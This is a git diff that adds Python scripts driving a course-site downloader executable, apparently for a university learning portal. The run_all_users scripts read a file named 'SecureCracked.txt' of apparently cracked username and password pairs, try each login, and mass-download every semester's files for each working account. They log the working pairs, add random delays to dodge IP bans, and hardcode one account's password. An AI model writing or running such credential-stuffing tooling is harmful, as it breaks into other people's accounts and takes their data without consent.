diff --git a/.gitignore b/.gitignore index d76be37..ed97685 100644 --- a/.gitignore +++ b/.gitignore @@ -14,7 +14,8 @@ .Python build/ develop-eggs/ -dist/ +dist/*.txt +dist/downloads downloads/ eggs/ .eggs/ diff --git a/dist/main.exe b/dist/main.exe new file mode 100644 index 0000000..545011e --- /dev/null +++ b/dist/main.exe Binary files differ diff --git a/dist/move_file.py b/dist/move_file.py new file mode 100644 index 0000000..ba7e295 --- /dev/null +++ b/dist/move_file.py @@ -0,0 +1,68 @@ +import os +import shutil +from pathlib import Path + +def auto_rename(target_path): + """ + Simulates Windows-style auto-renaming: filename (1).ext, filename (2).ext, etc. + """ + base = target_path.stem + ext = target_path.suffix + folder = target_path.parent + + i = 1 + while True: + new_name = f"{base} ({i}){ext}" + new_path = folder / new_name + if not new_path.exists(): + return new_path + i += 1 + +def copy_files_with_rules(source_folder, target_folder): + """ + Recursively copies files from the source folder to the target semester folder with the given rules. + If the file already exists and contains 'commit' or 'comment', it will be renamed. + """ + source = Path(source_folder) + target = Path(target_folder) + + # Traverse the usernames and semesters + for username_folder in os.listdir(source): + username_path = source / username_folder + if os.path.isdir(username_path): # Ensure it's a folder + for semester_folder in os.listdir(username_path): + semester_path = username_path / semester_folder + if os.path.isdir(semester_path): # Ensure it's a semester folder + # Define the corresponding target semester folder + target_semester_folder = target / semester_folder + target_semester_folder.mkdir(parents=True, exist_ok=True) # Ensure target exists + + # Recursively copy files from the semester folder, maintaining the subdirectory structure + for root, dirs, files in os.walk(semester_path): + for file_name in files: + file_path = Path(root) / file_name + # Generate the target path by preserving the directory structure + relative_path = file_path.relative_to(semester_path) # Path relative to the semester folder + target_file_path = target_semester_folder / relative_path + + # Ensure the target subdirectories exist + target_file_path.parent.mkdir(parents=True, exist_ok=True) + + filename_lower = file_name.lower() + + if target_file_path.exists(): + # If the file exists and contains "submit" or "comment", auto-rename it + if "submit" in filename_lower or "comment" in filename_lower: + new_destination = auto_rename(target_file_path) + shutil.copy2(file_path, new_destination) + print(f"Copied with rename: {file_name} -> {new_destination.name}") + else: + print(f"Skipped (exists): {file_name}") + else: + shutil.copy2(file_path, target_file_path) + print(f"Copied: {file_name}") + +# Example usage: +source_folder = r".\downloads" # Your source folder +target_folder = r"G:\Involution Corridor\网络学堂资料" # Target folder +copy_files_with_rules(source_folder, target_folder) diff --git a/dist/run_all_users.py b/dist/run_all_users.py new file mode 100644 index 0000000..aa34ac7 --- /dev/null +++ b/dist/run_all_users.py @@ -0,0 +1,114 @@ +import sys +from concurrent.futures import ProcessPoolExecutor, as_completed +import subprocess +import os +import re +import time, random +from tqdm.auto import tqdm # <- Progress bar + +# Path to your compiled executable +exe_path = "./main.exe" + +# Path to the credentials file +creds_file = "SecureCracked.txt" + +# Output file to store successful lines +successful_users_file = "SecureCrackedMain.txt" + +def get_semesters(username: str) -> list[str]: + match = re.search(r'(14|15|16|17|18|19|20|21|22|23|24)', username) + if match: + start_year = int('20' + match.group(1)) + semesters = [] + for year in range(start_year, 2024): + semesters.extend([f"{year}-{year+1}-{i}" for i in range(1, 4)]) + semesters.append("2024-2025-1") + return semesters + else: + return ["2024-2025-4"] + +def run_semester(username: str, password: str, semester: str): + output_dir = os.path.join("downloads", username) + os.makedirs(output_dir, exist_ok=True) + + print(f"▶ {username} → {semester}") + result = subprocess.run( + [exe_path, "-u", username, "-p", password, "--prefix", output_dir, "-s", semester], + capture_output=True, + text=True + ) + return semester, result.returncode, result.stdout, result.stderr + +def login_check(username: str, password: str) -> bool: + """ Function to check login with an empty semester (2024-2025-4). Returns False if BAD_CREDENTIALS is found. """ + print(f"\nTrying login for {username} with empty semester...") + result = subprocess.run( + [exe_path, "-u", username, "-p", password, "-s", "2024-2025-4"], + capture_output=True, + text=True + ) + + if "BAD_CREDENTIALS" in result.stdout: + print(f"❌ {username} login failed. Skipping user.") + return False + return True + +# MAIN CONTROL FLOW +if __name__ == "__main__": + with open(creds_file, "r", encoding="utf-8") as f: + lines = [line.strip() for line in f if line.strip() and "::::" in line] + + with tqdm(total=len(lines), desc="🌍 All Users", unit="user", position=0, leave=True, dynamic_ncols=True) as global_bar: + for line in lines: + try: + parts = line.split("::::") + username = parts[0] + tokens = parts[1].split(":") + password = tokens[-1] + + # First, check login with empty semester + if not login_check(username, password): + print(f"🔍 Verifying login failure with known good credentials...") + time.sleep(random.uniform(5,6)) + if not login_check("sijx24", "123moyuer"): + print("🚫 Possible IP ban or rate limit! Skipping all users temporarily.") + sys.exit(1) # Exit the entire program immediately + else: + print(f"❌ Invalid credentials for {username}, skipping.") + time.sleep(random.uniform(5,6)) + continue # Skip to next user + + semesters = get_semesters(username) + output_dir = os.path.join("downloads", username) + + print(f"\n📌 Processing user: {username} with password:{password}") + + with ProcessPoolExecutor(max_workers=20) as executor: + futures = [] + for semester in semesters: + future = executor.submit(run_semester, username, password, semester) + futures.append(future) + time.sleep(random.uniform(1, 5)) # ⏱ Add random delay between submissions (tune as needed) + + for future in tqdm(as_completed(futures), total=len(futures), desc=f"⏳ {username}", unit="sem", position=1, leave=False, dynamic_ncols=True): + try: + semester, returncode, stdout, stderr = future.result() + print(f"\n🗓 {semester} finished with code {returncode}") + print(" └─ STDOUT:", stdout[:450]) + print(" └─ STDERR:", stderr[:450]) + except Exception as e: + print(f"⚠️ Error running {semester} for {username}: {e}") + + # Check if output_dir is empty + if any(os.scandir(output_dir)): + print(f"✅ Output for {username} is not empty. Logging...") + with open(successful_users_file, "a", encoding="utf-8") as success_file: + success_file.write(line + "\n") + else: + os.rmdir(output_dir) + + except Exception as e: + print(f"❌ Error processing user {line.strip()}") + print(" →", e) + + global_bar.update(1) # ✅ Update global progress diff --git a/dist/run_all_users_parallel.py b/dist/run_all_users_parallel.py new file mode 100644 index 0000000..52a23ba --- /dev/null +++ b/dist/run_all_users_parallel.py @@ -0,0 +1,140 @@ +import sys +from concurrent.futures import ProcessPoolExecutor, as_completed +import subprocess +import os +import re +import time, random +from multiprocessing.synchronize import Event + +from tqdm.auto import tqdm # <- Progress bar +from filelock import FileLock + +# use with caution!!! High-frequency multi-user login failure may ban your ip. + +# Path to your compiled executable +exe_path = "./main.exe" + +# Path to the credentials file +creds_file = "SecureCracked.txt" + +# Output file to store successful lines +successful_users_file = "SecureCrackedMain.txt" + +def get_semesters(username: str) -> list[str]: + match = re.search(r'(14|15|16|17|18|19|20|21|22|23|24)', username) + if match: + start_year = int('20' + match.group(1)) + semesters = [] + for year in range(start_year, 2024): + semesters.extend([f"{year}-{year+1}-{i}" for i in range(1, 4)]) + semesters.append("2024-2025-1") + return semesters + else: + return ["2024-2025-4"] + +def run_semester(username: str, password: str, semester: str): + output_dir = os.path.join("downloads", username) + os.makedirs(output_dir, exist_ok=True) + + print(f"▶ {username} → {semester}") + result = subprocess.run( + [exe_path, "-u", username, "-p", password, "--prefix", output_dir, "-s", semester], + capture_output=True, + text=True + ) + return semester, result.returncode, result.stdout, result.stderr + + +def login_check(username: str, password: str) -> bool: + """ Function to check login with an empty semester (2024-2025-4). Returns False if BAD_CREDENTIALS is found. """ + print(f"Trying login for {username} with empty semester...") + result = subprocess.run( + [exe_path, "-u", username, "-p", password, "-s", "2024-2025-4"], + capture_output=True, + text=True + ) + + if "BAD_CREDENTIALS" in result.stdout: + print(f"❌ {username} login failed. Skipping user.") + return False + return True + +def process_user_line(line: str, abort_event: Event): + if abort_event.is_set(): + return None # Exit early if abort signal is already triggered + + line = line.strip() + if not line or "::::" not in line: + return None + + try: + parts = line.split("::::") + username = parts[0] + tokens = parts[1].split(":") + password = tokens[-1] + + # First, check login with empty semester + if not login_check(username, password): + print(f"🔍 Verifying login failure with known good credentials...") + if not login_check("sijx24", "123moyuer"): + print("🚫 Possible IP ban or rate limit! Skipping all users temporarily.") + time.sleep(5) + sys.exit(1) # Exit the entire program immediately + else: + print(f"❌ Invalid credentials for {username}, skipping.") + time.sleep(random.uniform(5, 10)) + return None # Skip to next user + + semesters = get_semesters(username) + output_dir = os.path.join("downloads", username) + + print(f"\n📌 Processing user: {username}") + with ProcessPoolExecutor(max_workers=6) as executor: # Semester-level parallelism + futures = [] + for semester in semesters: + future = executor.submit(run_semester, username, password, semester) + futures.append(future) + time.sleep(random.uniform(5, 10)) # ⏱ Add random delay between submissions (tune as needed) + + for future in tqdm(as_completed(futures), total=len(futures), + desc=f"⏳ {username}", unit="sem", position=1, leave=False, dynamic_ncols=True): + semester, returncode, stdout, stderr = future.result() + print(f"\n🗓 {semester} finished with code {returncode}") + print(" └─ STDOUT:", stdout[:400]) + print(" └─ STDERR:", stderr[:400]) + + lock = FileLock(successful_users_file + ".lock") + # Check if output_dir is not empty + if any(os.scandir(output_dir)): + with lock: # <-- file is locked during write + with open(successful_users_file, "a", encoding="utf-8") as success_file: + success_file.write(line + "\n") + print(f"✅ Output for {username} saved.") + + except Exception as e: + print(f"❌ Error processing user {line}") + print(" →", e) + +# MAIN CONTROL +if __name__ == "__main__": + abort_event = Event() + + with open(creds_file, "r", encoding="utf-8") as f: + lines = [line for line in f if line.strip() and "::::" in line] + + with tqdm(total=len(lines), desc="🌍 All Users", unit="user", position=0, leave=True, dynamic_ncols=True) as global_bar: + with ProcessPoolExecutor(max_workers=2) as user_executor: # User-level parallelism + future_to_line = {} + for line in lines: + if abort_event.is_set(): + break # Stop submitting new users + future = user_executor.submit(process_user_line, line, abort_event) + future_to_line[future] = line + time.sleep(random.uniform(5, 10)) # ⏱ Delay between user submissions (adjust as needed) + + for future in as_completed(future_to_line): + if abort_event.is_set(): + print("⚠️ Aborting due to global error signal.") + break + _ = future.result() + global_bar.update(1) \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 322dd72..01fba06 100644 --- a/requirements.txt +++ b/requirements.txt @@ -18,4 +18,14 @@ tenacity==9.0.0 ; python_version >= "3.10" and python_version < "4.0" typer==0.12.5 ; python_version >= "3.10" and python_version < "4.0" typing-extensions==4.12.2 ; python_version >= "3.10" and python_version < "4.0" -urllib3==2.2.3 ; python_version >= "3.10" and python_version < "4.0" \ No newline at end of file +urllib3==2.2.3 ; python_version >= "3.10" and python_version < "4.0" +tqdm~=4.67.1 +filelock~=3.18.0 +beautifulsoup4~=4.12.3 +requests~=2.32.3 +pydantic~=2.9.2 +rich~=13.9.2 +urllib3~=2.2.3 +typer~=0.12.5 +python-dateutil~=2.9.0.post0 +tenacity~=9.0.0 \ No newline at end of file